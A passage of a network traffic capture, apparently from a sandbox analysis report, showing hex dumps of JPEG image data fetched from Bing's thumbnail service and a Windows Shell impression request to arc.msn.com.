2024-11-28 16:24:20 UTC	16384	IN	Data Raw: 8b 3f cc c9 f7 aa 1f 9a 9c ac cb 4b 96 c5 b9 df 46 2b 5b c6 bf 33 54 52 41 03 7c ab f3 53 e4 2e d4 f8 d5 1b ef 47 57 76 ba 90 e3 17 a5 8a 2d 04 4b ff 00 2c ea 29 3f f4 1a d0 92 2d d2 6d a8 da d9 7f de ad 23 35 d4 c2 54 df 42 82 c9 b7 ee d3 7c cf ee f9 75 66 4b 37 5f 99 68 5b 2a d7 9e 07 34 e9 d4 2a 31 df ff 00 2c ff 00 e0 75 03 0a d2 6b 19 57 e6 6a 8a 4b 5f ef 55 46 a4 7b 99 ca 94 b7 b1 9a c1 aa 36 0e df f0 2a d2 92 2f 9e 98 d1 56 f1 a8 8e 79 d1 b9 41 a2 ff 00 d9 69 b3 25 5e 68 19 be ed 2f 94 df c5 55 ed 48 f6 28 cf 92 06 1f 76 9c c9 ba ae fd 9f 7f cb 43 5a 37 fc 0a 9f b5 5d c8 f6 0f 74 8a 6a 94 37 cb 25 5a 92 2d b2 7c d1 d3 56 3d d4 73 a1 4a 9f 42 a6 1f 7f fb 34 ef 95 6a 56 83 6d 0b 15 57 32 23 92 48 85 8d 18 fd dd 5a 65 5f f7 68 f2 f7 47 f2 ff 00 c0 e9 Data Ascii: ?KF+[3TRA\|S.GWv-K,)?-m#5TB\|ufK7_h[41,ukWjK_UF{6*/VyAi%^h/UH(vCZ7]tj7%Z-\|V=sJB4jVmW2#HZe_hG
2024-11-28 16:24:20 UTC	16384	IN	Data Raw: d4 3d 63 e1 2d bc 16 ba 3c 52 2c 11 ee 96 19 17 7a 22 af ca 26 f9 57 f4 ae a9 ae 2b e6 9f 07 f8 d6 ea c3 5f 5b 56 f1 f4 76 b6 ac ec ae f3 4f 1a ef 50 bb b6 ee 78 ce cf 9b 8e 9c 1a f7 2f 0e f8 97 41 d6 6d e1 5d 27 c4 36 3a b4 89 0a b4 df 67 9d 5a 5f ab 2a fd de 7d 85 4c 69 bd ed a0 36 96 87 4a b3 2a c7 f3 49 4f 8d eb 2b ce f7 a9 be d6 a9 f7 bf 8a ab d9 be 86 7c ca e6 8e fd df 35 3f e5 69 2a 94 77 0a f1 ed a9 9a 6d b1 ee a8 e5 66 9c c9 92 b1 fd dd 22 c8 a6 aa f9 ea d2 50 af ba 4d cb f7 69 f2 15 19 68 5c 8f 6f fc 06 a4 69 2a 18 5e 95 a5 55 93 e6 ac 9c 75 37 8c ac 4e a7 f7 7d 29 14 d4 4d 2a f9 7f 2d 23 3e ea 8e 52 f9 91 36 7f 77 4f fb d5 5d 5d a9 7c c6 6f 96 8e 46 3e 64 24 c8 bf 79 6a 9b 47 4e ba 93 6e df e2 aa cd 3b 79 75 d1 08 33 9e 53 43 d7 ef d6 c6 87 12 Data Ascii: =c-<R,z"&W+_[VvOPx/Am]'6:gZ_}Li6JIO+\|5?iwmf"PMih\oi^Uu7N})M*-#>R6wO]]\|oF>d$yjGNn;yu3SC
2024-11-28 16:24:20 UTC	16384	IN	Data Raw: 8b 71 ed d9 ab a1 d4 1f 7f 85 74 c5 67 f9 96 6b 46 ff 00 d1 b5 be 61 52 ad 1c 67 22 7a 2b 7e 47 1e 53 4a 95 7c bd 4e 71 4d bb fe 60 ba a4 f3 d8 a6 9f 0c f3 ad c5 9c 2d be 64 76 dc f9 57 f5 aa 7a c4 17 96 16 b6 97 16 ba 96 a5 14 d7 0f 1b 3b bd f4 8d d6 dd dd be 56 6c 75 5a ad 6e 57 fb 4b 50 fe 15 d8 bb ff 00 ef db d6 87 8c 1d 53 4a d3 3f bb be 35 4f fc 03 7a e6 75 eb 7b 48 fb ce cf fc 8e cf a9 d0 54 e5 ee 2d fb 79 8f d5 35 c9 ef 74 d6 fb 0d dc 96 7f 67 da ae f0 bf cc ea 3d 4f 18 ce 6a 3d 72 e2 ef 44 d4 91 a1 bf be 96 15 b8 93 7c 37 17 4d 2a ba 8d 98 5c ff 00 0f de ac 7d 35 36 c1 77 fe d4 df fb 32 56 87 c4 80 d1 49 ff 00 7f bf f4 24 ab 55 aa 2a ea 2a 4e cc 99 61 e8 ba 5f 02 2c eb da e4 17 ba 5a 5f 58 cf 7d 14 90 4d e5 3c 28 ed 16 f6 f2 fc cf e0 6f 98 56 9f Data Ascii: qtgkFaRg"z+~GSJ\|NqM`-dvWz;VluZnWKPSJ?5Ozu{HT-y5tg=Oj=rD\|7M\}56w2VI$U*Na_,Z_X}M<(oV
2024-11-28 16:24:20 UTC	16384	IN	Data Raw: bf 8a ae 1a be 68 d3 f4 5b 46 82 15 ba d3 67 6d bb 99 e6 4d de 53 a8 8f 70 e7 fb d9 ff 00 39 aa 53 5b 5d 5a 6c bf d3 e0 9e ce 68 bf 7f e6 c5 27 cc 8b fe cf 7a f1 ab e0 55 49 4a 74 e6 d4 bd 74 3e 9a 9e 62 e8 c2 34 e7 4d 4a 3e 9a fe a7 b3 78 cb e1 3c ad aa f9 9a 1d a4 16 eb bd 99 36 5d 32 aa 2f e3 5b 1e 1d f8 3f a1 dc 69 be 5e b5 3e a5 2c db fe fc 37 4c ab ff 00 7c 74 ad 0f 83 5f 10 e2 f1 86 81 15 9e a1 03 c5 ad 5b c3 fb ef 93 e5 b9 51 ff 00 2d 54 ff 00 30 7f 8a bb eb 1b bf 2a 3d be 5d 79 95 b1 d8 c5 1f 67 27 6b 7d e7 a9 43 2f c0 ce 5e da 2a ea 5f 77 dc 79 c5 e7 c0 ff 00 0f c5 ff 00 1e 3a 96 b1 6e df 2f cf be 39 7f f4 24 ac ab ef 80 d1 4b be 48 7c 5f 74 ad f3 6c 49 ac 97 6f e8 45 7b 0c 97 f4 2e a4 a3 e5 f2 eb 9f eb 98 ce 93 66 d3 cb 70 2d 59 d3 47 cd 3e 26 Data Ascii: h[FgmMSp9S[]Zlh'zUIJtt>b4MJ>x<6]2/[?i^>,7L\|t_[Q-T0=]yg'k}C/^_wy:n/9$KH\|_tlIoE{.fp-YG>&
2024-11-28 16:24:20 UTC	16384	IN	Data Raw: ef 44 6d cd 71 e5 7f cf 4d cb fd fd d5 0c d7 7b 20 66 93 e5 8d 61 f3 5d f6 7d cc 73 58 fe 1b f1 46 8b e2 4d 0f 51 9a d6 74 b2 9a de 26 89 12 e2 78 f7 23 6d 25 76 8c e1 ab c6 5b 50 f8 ab 67 63 77 0d cc 90 b5 ad e7 ee ae 13 ed 51 b7 be df 94 ee da 7b e3 e9 5a a8 ab 4b 5b 35 df 43 1b ca 4e 3d 62 fa a3 dc b4 dd 66 cf 51 8f ed 56 77 f1 ce ab fc 09 f3 54 d7 13 dc b5 c2 4c b3 cf ba be 72 d3 6f 7c 75 60 8f f6 2d 4e 4b 06 97 6c b2 f9 4f b1 9d 82 e3 e6 f9 6a 85 c5 bf 8a ad 3f 78 da cc ec d2 ee 64 74 d5 19 7e 61 d7 ad 6b 4d d1 6f de 96 a6 75 28 d4 7f 0e 8b cf f5 d0 fa 3a 4d d0 3b c8 cf b1 be f7 fc 06 b0 74 fd 6e 26 f1 fd c6 97 e6 49 e7 5c 42 b2 3f f7 78 5d d9 fc 8d 78 97 db 3c 7f 6f e7 35 ae a5 ae 2c 7f f2 db f7 ec db ff 00 ef a1 d2 aa c9 a8 78 be 7b b4 b8 d3 63 92 Data Ascii: DmqM{ fa]}sXFMQt&x#m%v[PgcwQ{ZK[5CN=bfQVwTLro\|u`-NKlOj?xdt~akMou(:M;tn&I\B?x]x<o5,x{c
2024-11-28 16:24:20 UTC	16065	IN	Data Raw: 3d 75 5a 85 be 94 fe 15 fe d0 b5 83 cd d4 9b cb 57 b1 9b 41 55 d8 c5 bf 79 f3 26 3e 55 aa 5f b4 2c 7f 65 f1 56 99 67 e7 6d 9a 05 65 f3 91 f7 36 dd bb 97 3e 86 97 5c f3 b4 cf 09 c5 1c 37 c6 78 fc b5 ff 00 48 8a 7f 9b 75 7b 38 5c 1d 0a cd d4 8c 53 8f 4e cf f5 38 16 61 5a 9d 0a 10 aa ad 29 3b 4a fb ab 3b 3b 6b bf a9 1f 83 f4 7b 1b bf 06 c3 7b 73 0e 9e db 7c e9 66 79 ad 64 dc 98 93 69 f9 96 41 9c 37 b5 6a 78 26 c2 3b 5f 89 16 90 e9 ff 00 d9 4a d2 d9 4a af fb e9 96 24 6d c3 e6 62 fb b6 7f e8 35 d2 7c 09 f8 79 aa df fc 25 9a e2 7d 35 25 b3 d6 e1 99 92 68 a7 fd ff 00 97 b8 8f bb 9f 97 04 37 6a ad 7b e0 fb df 0f f8 db 41 b5 89 6d 62 8e fe c6 7f b3 4b 70 f1 aa 95 46 5e b2 64 7f e3 fd 3f 1a f9 cc 06 61 85 c4 e3 aa 60 2a d3 b3 bb b3 d6 d6 eb d7 5b 33 a3 34 a9 56 83 Data Ascii: =uZWAUy&>U_,eVgme6>\7xHu{8\SN8aZ);J;;k{{s\|fydiA7jx&;_JJ$mb5\|y%}5%h7j{AmbKpF^d?a`*[34V
2024-11-28 16:24:20 UTC	16384	IN	Data Raw: 21 5d e4 d6 fa 0a 48 91 b6 bb ac 5a b7 de 44 b8 45 f9 fd be 78 c5 5b 69 b4 d7 ba fb 45 8f 8a 34 d6 55 46 54 49 a0 8f ca fc 4a 90 6a 1c 53 7e ef e9 fa 84 b9 e3 17 cf df 7b 3f d1 1c 4a 86 86 d5 a3 b7 9f 43 f2 dd 17 62 6f 8d 76 37 fc 08 66 ad c3 15 e4 b1 a3 7d 82 c6 5f 9f e4 d9 e5 ff 00 4a f4 85 d3 f5 c6 d0 f7 47 a9 69 57 11 cb b7 c9 47 b5 65 57 5e e7 f8 9a b1 6c 7c 38 ff 00 db 10 c9 79 a4 e8 fb 62 dc ce e9 b9 9b fe 02 bb 7f 9d 67 3c 2b a9 f2 f2 1c 71 90 a3 6b b5 2b db fa d6 c7 3f 08 be 8e 37 f2 7c 3d bb 6b fc ee 90 7c a9 ff 00 7c d2 5b ea 17 8b b1 7f b3 7f 72 cf b5 df fc b5 74 f7 5a 06 98 f3 bf 97 63 02 ee fb fb 20 54 df 4e 87 46 b6 8b e5 5f 99 56 ba 28 e5 d2 5a 4a a5 97 65 ff 00 04 e3 c4 67 0e 7a 53 a5 7f 37 b7 e0 71 7a c5 9e ab ab 48 be 73 c7 15 bd be e5 Data Ascii: !]HZDEx[iE4UFTIJjS~{?JCbov7f}_JGiWGeW^l\|8ybg<+qk+?7\|=k\|\|[rtZc TNF_V(ZJegzS7qzHs
2024-11-28 16:24:20 UTC	16384	IN	Data Raw: ba 97 de fb fb dd a5 5f fb e5 bb d5 2b f4 82 f7 7f 9d 27 df fe 3f 21 5b fc 6b 96 b6 7f 4e 8b 4e 71 7d d9 55 69 c2 70 71 5b b3 e7 8b 11 2d c4 9b 64 9e 75 db ff 00 3c 93 ee 63 f9 57 75 e1 dd 5f 50 b7 d2 92 ce d6 d3 fd 1d 7e 6d fb 36 b3 e7 bf ab 57 a1 69 ba 44 f1 5d 6e d3 67 91 7e f3 3a 24 0a ab f7 7f 2f d2 ac 5b f8 7e 06 ff 00 90 87 9f 2b 7f 72 1f 2d 7e 6f 73 58 62 78 87 09 5e 9a e4 8d ce 3a 78 1a ca 57 4c c1 f0 cd fc 57 12 24 8d 69 6b 14 d2 ba fd f4 fe 2f c4 57 69 aa 15 5b 1f 32 eb 49 d3 7c c5 4f b8 f6 bf 2f e5 b7 bd 1a 7e 95 a1 d8 4f 0d d5 be 93 23 4c bf 73 7d d6 ef 6c 73 c5 65 78 93 c4 f7 92 c0 df d9 f3 c9 e5 fd df 9f e5 ae 08 e2 a8 e2 1a 70 9c 93 6f a5 ff 00 1b 9d f1 8b a1 4f df b5 ce 13 c5 53 d8 d9 df 3c 76 b0 41 6b 23 3a ff 00 a9 4d ac 8d f7 be eb 73 Data Ascii: _+'?![kNNq}Uipq[-du<cWu_P~m6WiD]ng~:$/[~+r-~osXbx^:xWLW$ik/Wi[2I\|O/~O#Ls}lsexpoOS<vAk#:Ms

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49728	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:19 UTC	346	OUT	GET /th?id=OADD2.10239340418605_1YZ6O1QX1RJB3B5MZ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 16:24:20 UTC	861	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 538654 Content-Type: image/jpeg Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: B35423AAD4644040BA35292B72FCEE84 Ref B: EWR30EDGE0716 Ref C: 2024-11-28T16:24:20Z Date: Thu, 28 Nov 2024 16:24:19 GMT Connection: close
2024-11-28 16:24:20 UTC	3621	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 32 3a 31 31 20 30 31 3a 30 30 3a 31 34 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.1 (Windows)2023:02:11 01:00:148C
2024-11-28 16:24:20 UTC	8192	IN	Data Raw: 3a 8a 28 a0 02 9d 45 14 09 8e a2 8a 28 10 53 a9 31 4b 49 94 14 51 45 20 38 5a 28 a7 50 74 0d a3 6f b5 3a 8a 00 28 a2 8a 07 70 a2 8a 28 0b 85 26 29 68 a0 41 45 14 50 34 14 51 4e a0 43 68 a7 51 40 05 14 ad 49 40 0b 8a 4a 29 d4 d0 0d a7 51 45 30 0a 28 5a 28 00 a7 51 45 48 05 14 53 a8 01 b4 51 45 3b 00 ea 29 16 96 90 09 8a 16 96 8a 76 00 a2 9d 45 22 46 d3 b6 fb 51 45 00 14 ea 28 a0 77 0a 28 a2 81 00 a2 8a 75 00 14 53 a8 a0 02 8a 36 fb 53 a8 01 b4 53 a8 a0 06 ed f6 a2 9d 49 8a 68 05 14 53 a8 a4 03 68 a7 53 6a 80 28 a7 51 40 0d a2 9d 45 00 26 28 c5 2d 14 00 98 a3 14 b4 b8 a0 4c 65 3a 97 14 62 81 09 49 8a 76 29 28 28 6d 14 ea 28 24 6d 26 29 f4 50 03 68 a7 51 4e c0 36 9d 49 8a 5a 64 85 14 51 40 05 14 53 a8 01 b4 e5 a2 8a 00 36 fb 53 a8 a2 95 c7 70 a2 8a 29 88 29 Data Ascii: :(E(S1KIQE 8Z(Pto:(p(&)hAEP4QNChQ@I@J)QE0(Z(QEHSQE;)vE"FQE(w(uS6SSIhShSj(Q@E&(-Le:bIv)((m($m&)PhQN6IZdQ@S6Sp))
2024-11-28 16:24:20 UTC	4040	IN	Data Raw: 5a 29 71 40 0d c5 2d 3b 6f b5 14 00 da 29 db 7d a8 a0 56 13 14 b4 ea 4c 54 8c 4d be d4 6d f6 a7 e2 8c 50 03 28 db ed 4f c5 18 a0 06 6d f6 a5 c5 3b 14 94 ae 3b 05 14 b8 a5 a4 31 b4 ea 76 df 6a 36 fb 52 b8 06 df 6a 5c 52 a8 a5 c5 20 1b 8a 31 52 62 8c 52 b8 ec 25 26 29 ca 29 69 0c 4c 51 8a 5d be d4 b8 a9 01 28 db ed 4e a2 80 1b b7 da 97 14 ec 52 52 b8 09 8a 31 4e c5 18 a4 01 8a 29 68 a0 0e 2b 14 94 fc 51 8a f5 6e 62 37 14 bb 7d a9 71 46 29 8e c2 6d f6 a3 6f b5 3a 97 14 0c 6e 29 71 45 2e 28 01 29 71 4e 5a 5a 91 58 66 28 c5 3f 6f b5 1b 7d a8 13 19 8a 4c 54 9b 7d a8 db ed 54 03 31 46 29 fb 7d a8 db ed 40 0c c5 18 a7 ed f6 a3 6f b5 00 33 14 ec 52 ed f6 a7 62 80 19 8a 31 4f c5 18 a0 06 62 8c 53 f1 4b 8a 00 66 df 6a 36 fb 53 f1 46 28 01 9b 7d a9 71 52 62 8c 50 26 Data Ascii: Z)q@-;o)}VLTMmP(Om;;1vj6Rj\R 1RbR%&))iLQ](NRR1N)h+Qnb7}qF)mo:n)qE.()qNZZXf(?o}LT}T1F)}@o3Rb1ObSKfj6SF(}qRbP&
2024-11-28 16:24:20 UTC	8192	IN	Data Raw: 56 f0 cf 6f 34 ce bb a1 67 f9 9f 67 f7 f1 57 fe 20 58 78 e9 bc 33 ab 79 9f e9 fa 7e 9b 34 72 df 5f 43 6a ac de 67 66 1b 3f 83 fb d5 9b ae 44 b3 c1 a6 5b df 7c cd 6b ff 00 1e f7 08 eb e6 a4 7b ba 7a 36 7d ea 28 7c 49 af 69 ba 56 a1 e1 3f b5 c9 71 a6 dd 5f 2c fb e6 9d b7 4d 8f 95 97 e5 fb c8 47 f0 d7 3f 31 a2 57 3d 0b e1 7d c7 fc 24 de 1f 56 d4 2d 3c ad 41 7f e7 b2 79 5f 36 df eb 56 3c 45 76 d6 57 d3 79 36 9f 6a 99 36 ec f2 9f e6 e3 ef ab 7f b4 b5 cb f8 7e e7 57 82 66 d6 2e 24 9d 61 67 5f 25 ec 77 2f ee 4f dc f3 13 da ae 78 2d 3c 43 16 b1 ae 78 8b 49 d5 a3 d5 24 58 b6 dc 5b ba 2e e8 58 7c ca de 58 fb d9 ff 00 66 a5 b1 ad ae 75 5a 85 ff 00 8a 23 f1 35 8d d6 8f ae e9 b6 f6 72 c2 be 72 5d ed 59 66 ff 00 81 63 fb d5 d5 49 e2 89 6d ec 52 4d 4b 49 9f 52 5b 77 f2 Data Ascii: Vo4ggW Xx3y~4r_Cjgf?D[\|k{z6}(\|IiV?q_,MG?1W=}$V-<Ay_6V<EvWy6j6~Wf.$ag_%w/Ox-<CxI$X[.X\|XfuZ#5rr]YfcImRMKIR[w
2024-11-28 16:24:20 UTC	8192	IN	Data Raw: 5a 7d b2 d5 da 4f f5 7f c1 bf f8 fd ea db 3a b7 93 63 0c 12 7d c5 8b 7a 7d e4 a9 21 fb 1b c0 93 47 07 ca df 32 3b fc db ff 00 e0 3e 95 52 fa 2f b1 7c d6 b6 ff 00 65 92 e1 fc a7 74 76 fb be b5 e0 72 b6 ac 7b d7 b0 e8 62 b9 b3 d4 bc ef b2 49 71 23 43 b7 62 7b 77 ab 9a b4 57 29 62 97 9e 5c 0a cb b5 92 df f8 9d be b5 5e 4b a8 20 91 3f d3 e4 96 68 93 6a 3c c9 f3 53 a1 d5 3c db a7 fb 44 ff 00 2f ca a8 90 a7 fe 85 55 ca 92 b0 ae db 19 33 dc c1 22 dc 5a fd e9 7f e3 e7 e4 ff 00 3c 0a 95 ad e7 b8 8d db 64 68 ab f7 11 3f 8e b2 75 a9 e5 68 de 36 9e 4d bf c6 89 f2 fc b5 76 f2 79 de 34 5b 89 fe 58 b6 af cf b9 57 9f f7 7d 6b 29 47 95 68 5c 5d f7 17 50 b9 d5 6c 67 b7 66 82 4b 78 f6 79 49 f3 fd c8 ff 00 88 62 9b 62 cd 14 f1 34 d6 91 de 43 f3 36 c9 9f 6a fd ef 97 3f dd ab Data Ascii: Z}O:c}z}!G2;>R/\|etvr{bIq#Cb{wW)b\^K ?hj<S<D/U3"Z<dh?uh6Mvy4[XW}k)Gh\]PlgfKxyIbb4C6j?
2024-11-28 16:24:20 UTC	8192	IN	Data Raw: f5 ab 7f f4 5b c6 49 20 d5 2d 1f e5 67 90 37 c8 59 7f bd ef dc 57 5d 8a fb 9c bb 16 f1 34 14 e5 bf 53 e2 b3 1c 2a c3 d7 71 8e cf 54 47 b7 da 97 14 fc 53 b6 fb 57 75 cf 3e c4 58 a5 d9 4e c5 3b 6f b5 17 19 16 29 76 54 9b 28 d9 45 c5 62 3d 94 98 a9 b1 4e d9 4b 98 64 3b 28 d9 53 6c a3 65 1c c0 43 8a 31 52 ec a3 65 1c c0 45 8a 31 52 ec a4 c5 1c c0 37 14 dc 54 9b 7d c5 18 a7 70 23 c5 18 a9 31 46 28 b8 11 e2 9d 8a 76 28 c5 17 01 b8 a2 9d 8a 28 b8 18 1b 7d a8 a7 51 5d 17 35 b0 dd be d4 b8 a5 a2 8b 8c 4c 51 8a 5a 28 b8 09 8a 31 4b 45 17 15 82 8a 5c 52 d1 70 b0 da 4c 53 b1 46 28 b8 c4 a4 c5 3e 8a 2e 49 1e df 6a 36 fb 53 a9 71 4c 56 18 c2 8a 5c 52 aa e6 9d c5 ca 37 6f b5 79 9f c7 6f 8a 30 78 56 c6 6d 1f 41 9f ed 1a e3 7c ae e8 9b 96 d9 4f fe cf 57 fe 2b 7c 54 d1 7c Data Ascii: [I -g7YW]4S*qTGSWu>XN;o)vT(Eb=NKd;(SleC1ReE1R7T}p#1F(v((}Q]5LQZ(1KE\RpLSF(>.Ij6SqLV\R7oyo0xVmA\|OW+\|T\|
2024-11-28 16:24:20 UTC	8192	IN	Data Raw: 73 5b 7e 11 d5 34 8f 16 dd 58 ea 9a 4f 97 f6 cb 84 6b 69 b7 a6 d6 76 1f f2 c2 65 f6 f9 b1 9e 87 eb 5e 6b 36 b7 e2 a4 be 7f 03 ea d2 7d aa 4f 96 f3 4b d6 51 1b 77 ee 64 dc be 6f 66 6e c7 6d 76 7e 62 ea 52 43 ac 36 85 f6 8b cb 5f 9b ed 16 33 ed 95 db f8 90 af 05 f3 ef f5 a7 06 af a0 a5 cd 6d 4e d7 4f 3f b8 4b 76 8e 45 92 2d cb b1 fd aa c6 2b 03 c2 f7 37 97 51 a5 e5 e7 99 aa 46 db 59 37 be db ad 3f d3 fd e5 f5 cf 23 91 5d 12 95 78 fc c8 fe ed 7d 5e 57 8e f6 b1 f6 73 f8 97 e4 7c ae 69 81 f6 73 f6 b0 d9 8c c5 2e df 6a 5c 53 b1 5e bd cf 1c 66 df 6a 36 fb 53 f1 46 28 b8 0d c5 2d 2e 28 c5 17 01 b8 a3 14 ec 52 d2 01 98 a3 14 fa 5c 50 3b 11 e2 8c 54 98 a3 14 08 8b 6f b5 2e 2a 4c 51 8a 77 02 2d be d4 98 a9 b1 4d c5 3e 61 58 66 df 6a 36 54 b8 a3 14 ae 32 3c 51 52 ed Data Ascii: s[~4XOkive^k6}OKQwdofnmv~bRC6_3mNO?KvE-+7QFY7?#]x}^Ws\|is.j\S^fj6SF(-.(R\P;To.*LQw-M>aXfj6T2<QR
2024-11-28 16:24:20 UTC	8192	IN	Data Raw: fb d9 5b cb 1f df 5c 7c df e3 5c f6 9b 2b 3c ef 24 72 7c db 36 f9 3b ff 00 98 ad a3 16 a3 73 19 ca 2e 57 3b 3d 43 5b be 83 c1 7a 0e 9b 75 fe 99 35 c3 fc f3 3c 9f ba e1 b6 ac 7c 7f cf 35 f5 ae bb c3 77 da 67 87 a4 87 50 b7 d3 64 7b 19 5e 46 99 ed f6 ee 87 aa 22 32 37 3b 4f cd 92 86 bc ca 1d 4f 4c 16 b1 48 d6 0e b7 d6 6f 1a a3 bb fc bc fd f6 c3 7f 0f a0 ad 4b 3d 4d ae a0 48 5a 7b 5b 89 ad 5e 3f b3 fd a1 f6 ae dd bb 36 7f 5a e5 92 77 3a e1 28 bb 26 8e 93 e1 e9 f1 67 86 b5 27 f0 ba e9 31 dd 5c 5b a3 35 cf d9 df cd 69 a3 6f 9e 36 8f 1f 79 76 ff 00 17 4f 5a b9 e0 3d 53 53 d4 75 8d 4e d6 de 09 ff 00 b3 d6 ef 6f d8 6d de 3f 3f cb 2c 78 66 e3 fd df 97 bd 54 b8 97 ed 9e 20 d0 66 93 52 b1 8b 56 5d 39 62 9a de ed db 6d cc 69 26 02 6f 42 3f 87 de af 49 6d 3d 84 69 1d Data Ascii: [\\|\+<$r\|6;s.W;=C[zu5<\|5wgPd{^F"27;OOLHoK=MHZ{[^?6Zw:(&g'1\[5io6yvOZ=SSuNom??,xfT fRV]9bmi&oB?Im=i
2024-11-28 16:24:21 UTC	8192	IN	Data Raw: d4 26 49 6e bf 75 73 26 ef de 08 24 d9 98 58 77 fe 16 a2 51 ec 54 24 92 7c c3 7e 2b 6a 1a 1d 95 ae 83 a0 e8 7a ed d5 9d e6 ff 00 3d e1 9a 7f f4 57 8d 3a 33 2b 72 8c cd e8 71 ea 2a b7 c3 f4 82 7f 1e 3d bc 97 f7 d6 1a 93 5c 2d cc d0 a4 ec d0 5e b0 6c 83 fe de 1b b7 a5 5d d7 25 8b 5b f1 1e 9f e2 0d 62 74 d3 55 fc bb 1f b3 f9 1e 6c b0 da 22 ee 4d de 62 ed 7c fc df 36 78 e9 5d 9c 27 c1 57 97 d0 db de 78 7b 47 bf 86 2b 86 6f f4 74 5f 29 e1 1d 0a 1d c1 f9 ef e9 53 cf a6 bb 91 3a 76 6a cf 43 94 d5 3c 0c cd e1 fd 73 c4 1e 1b d5 a4 b0 6d 2d e6 be 4b 7b 84 6d b3 6c 6c ba e3 fb c9 fc 0f 5a ba 2d 9f 8a 3c 55 e0 7b 49 b5 ad 5a c7 75 c5 dd bd f5 8d f4 36 bb 56 19 02 f1 e6 2f fb 4b c7 6a 97 e1 de 96 b6 fe 26 f1 0f 84 75 8b b9 25 8e 2b 98 65 b1 9a fa 76 95 6e 6c 1d b7 ad Data Ascii: &Inus&$XwQT$\|~+jz=W:3+rq*=\-^l]%[btUl"Mb\|6x]'Wx{G+ot_)S:vjC<sm-K{mllZ-<U{IZu6V/Kj&u%+evnl
2024-11-28 16:24:21 UTC	8192	IN	Data Raw: e6 e3 d3 b7 3d 3a d7 2b e1 bf 13 eb 56 ba e4 d6 fa 6d ba 6e 5b 75 67 f3 b7 2b 6e 1d 4f fb f5 b9 a9 78 82 4d 6f 56 7d 0f 5c fb 54 b0 f9 d1 b7 da e1 f9 5b c9 1c bf fb dc f6 ef 55 52 5e f5 e2 11 8e 9a 9d 2d bd cc ab a9 6a 77 10 da 47 6f 67 6f e4 f9 df 6b ba 59 67 4c af c9 e5 b6 39 cf ad 7b 17 c0 9d 4e da 09 1e 1b 88 ee a5 b8 77 f9 ee ee 1f 6b 7c df de 5f ee d7 85 c7 a7 5c f8 9b 43 fe da d4 34 1b ab 78 5a 66 d9 69 6e fb 5b c9 45 d8 25 7c 7f 11 eb b6 bb ed 0f 5c b0 f0 f6 8e b6 2d 76 91 47 75 6f 1b 24 c9 f3 37 6c 6e ee d5 78 7c 54 e9 49 3e a6 75 e8 2a b1 71 3e 88 d3 ef ed 6f 2d 52 68 e4 d9 bb ee 23 fd ea c9 f1 d5 ed b5 be 8f 32 dd 4f f6 78 d9 36 f9 c9 5e 47 67 e3 3f b4 49 e4 fd ba 35 66 45 54 74 fe 06 ff 00 6b fb b8 aa 9e 2c f1 a5 ce 9d 71 71 1f db e4 ba b3 f9 Data Ascii: =:+Vmn[ug+nOxMoV}\T[UR^-jwGogokYgL9{Nwk\|_\C4xZfin[E%\|\-vGuo$7lnx\|TI>u*q>o-Rh#2Ox6^Gg?I5fETtk,qq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49730	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:20 UTC	265	OUT	POST /v3/Delivery/Events/Impression HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Content-Length: 1505 Content-Type: text/plain; charset=UTF-8 Host: arc.msn.com Connection: Keep-Alive Cache-Control: no-cache
